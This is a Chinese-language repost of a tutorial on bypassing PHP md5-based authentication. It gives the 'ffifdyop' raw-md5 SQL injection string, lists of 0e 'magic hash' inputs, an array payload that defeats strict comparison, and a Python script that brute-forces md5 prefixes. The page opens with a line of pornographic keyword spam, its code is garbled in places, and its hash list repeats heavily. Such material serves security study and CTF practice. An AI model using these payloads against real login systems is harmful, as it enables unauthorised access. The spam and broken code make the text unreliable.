日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

php mysql 绕过_PHP中md5绕过

發布時間:2024/9/27 数据库 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php mysql 绕过_PHP中md5绕过 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一、md5($password,true)的SQL注入問題

這里要提到一下MySQL中的數值比較問題。

1、當數字和字符串比較時,若字符串的數字部分(需要從頭開始)和數字是相同的,那么則返回的是true。

select if(1="1abcd","等于","不等于") as test;

if(exp1,stat1,stat2)類似于高級語言中三元運算符。當exp1為true的是否返回stat1,為false返回stat2。

2、以數字開頭的字符串,若開頭的字符不是0,那么在做邏輯運算的時候返回的是1,也就是true。

select * from user where password =‘‘or‘1234a‘;

看一下這個php md5($pass,true) 的漏洞:

select * from user where password = md5($pass,true);

可以看到這里的raw參數是True,為返回原始16字符二進制格式。

也就是說當md5函數的第二個參數為true時,該函數的輸出是原始二進制格式,會被作為字符串處理。

如果構造一個‘or‘xxx‘的密碼,只要后面的字符串為真即可。那么可以根據32位16進制的字符串來查找,‘or‘對應的16進制是276f7227,所以我們的目標就是要找一個字符串,取32位16進制的md5值里帶有276f7227這個字段的,在276f7227這個字段后面緊跟一個數字(除了0)1-9,對應的asc碼值是49-57,轉化為16進制就是31-39,也就是含有276f7227+(31-39)這個字段,就可以滿足要求。

則拼接后構成的SQL語句為:

select * from user where password=‘‘or‘1asodijfoi‘;

select * from user where password=‘‘or‘1abcdefg‘ ---> True

select * from user where password=‘‘or‘0abcdefg‘ ---> False

select * from user where password=‘‘or‘1‘ ---> True

select * from user where password=‘‘or‘2‘ ---> True

select * from user where password=‘‘or‘0‘ ---> False

只要‘or‘后面的字符串為一個非零的數字開頭都會返回True,這就是我們的突破點。

目前只知道用這個字符串?ffifdyop具體怎么來的,目前腳本還在研究中。

二、兩變量值不相等,md5計算散列值后相等的繞過

==的繞過

PHP中==是判斷值是否相等,若兩個變量的類型不相等,則會轉化為相同類型后再進行比較。

PHP在處理哈希字符串的時候,它把每一個以0e開頭的哈希值都解析為0。

注意:==號相等必須滿足0e后面全是數字,若存在字母則不行。

}

}?>

常見的如下:

在md5加密后以0E開頭

QNKCDZO

240610708

s878926199a

s155964671a

===的繞過

===會比較類型,這個時候可以用到PHP中md5()函數無法處理數組(會返回NULL)來實現繞過。

}

}?>

payload: /?a[]=1&b[]=2 (上面==的例子也可以用數組繞過)

三、MD5碰撞

腳本:

#-*- coding: utf-8 -*-

import multiprocessing

import hashlib

import random

importstringimport sys

CHARS= string.letters + string.digits

def cmp_md5(substr, stop_event, str_len,. start=0, size=20):

globalCHARSwhile not stop_event.is_set():rnds= ‘‘.join(random.choice(CHARS) for _ in range(size))md5 = hashlib.md5(rnds)

value= md5.hexdigest()if value[start: start+str_len] == substr:

printrnds

stop_event.set()‘‘‘#碰撞雙md5

md5 = hashlib.md5(value)

if md5.hexdigest()[start: start+str_len] == substr:

print rnds+ "=>" + value+"=>"+ md5.hexdigest() + "\n"

stop_event.set()‘‘‘

if __name__ == ‘__main__‘:

substr = sys.argv[1].strip()

start_pos= int(sys.argv[2]) if len(sys.argv) > 1 else 0str_len= len(substr)

cpus= multiprocessing.cpu_count()

stop_event= multiprocessing.Event()

processes= [multiprocessing.Process(target=cmp_md5, args=(substr,stop_event, str_len,start_pos))for i in range(cpus)]for p in processes:p.start()for p in processes:p.join()

還有MD5和雙MD5以后的值都是0e開頭的

CbDLytmyGm2xQyaLNhWn

770hQgrBOjrcqftrlaZk

7r4lGXCH2Ksu2JNT3BYM

正常0e開頭:

QNKCDZO

0e830400451993494058024219903391

240610708

0e462097431906509019562988736854

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s1885207154a

0e509367213418206700842008763514

s1502113478a

0e861580163291561247404381396064

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s155964671a

0e342768416822451524974117254469

s1184209335a

0e072485820392773389523109082030

s1665632922a

0e731198061491163073197128363787

s1502113478a

0e861580163291561247404381396064

s1836677006a

0e481036490867661113260034900752

s1091221200a

0e940624217856561557816327384675

s155964671a

0e342768416822451524974117254469

s1502113478a

0e861580163291561247404381396064

s155964671a

0e342768416822451524974117254469

s1665632922a

0e731198061491163073197128363787

s155964671a

0e342768416822451524974117254469

s1091221200a

0e940624217856561557816327384675

s1836677006a

0e481036490867661113260034900752

s1885207154a

0e509367213418206700842008763514

s532378020a

0e220463095855511507588041205815

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s214587387a

0e848240448830537924465865611904

s1502113478a

0e861580163291561247404381396064

s1091221200a

0e940624217856561557816327384675

s1665632922a

0e731198061491163073197128363787

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s1665632922a

0e731198061491163073197128363787

s878926199a

0e545993274517709034328855841020

原文:https://www.cnblogs.com/du1ge/p/13812118.html

總結

以上是生活随笔為你收集整理的php mysql 绕过_PHP中md5绕过的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。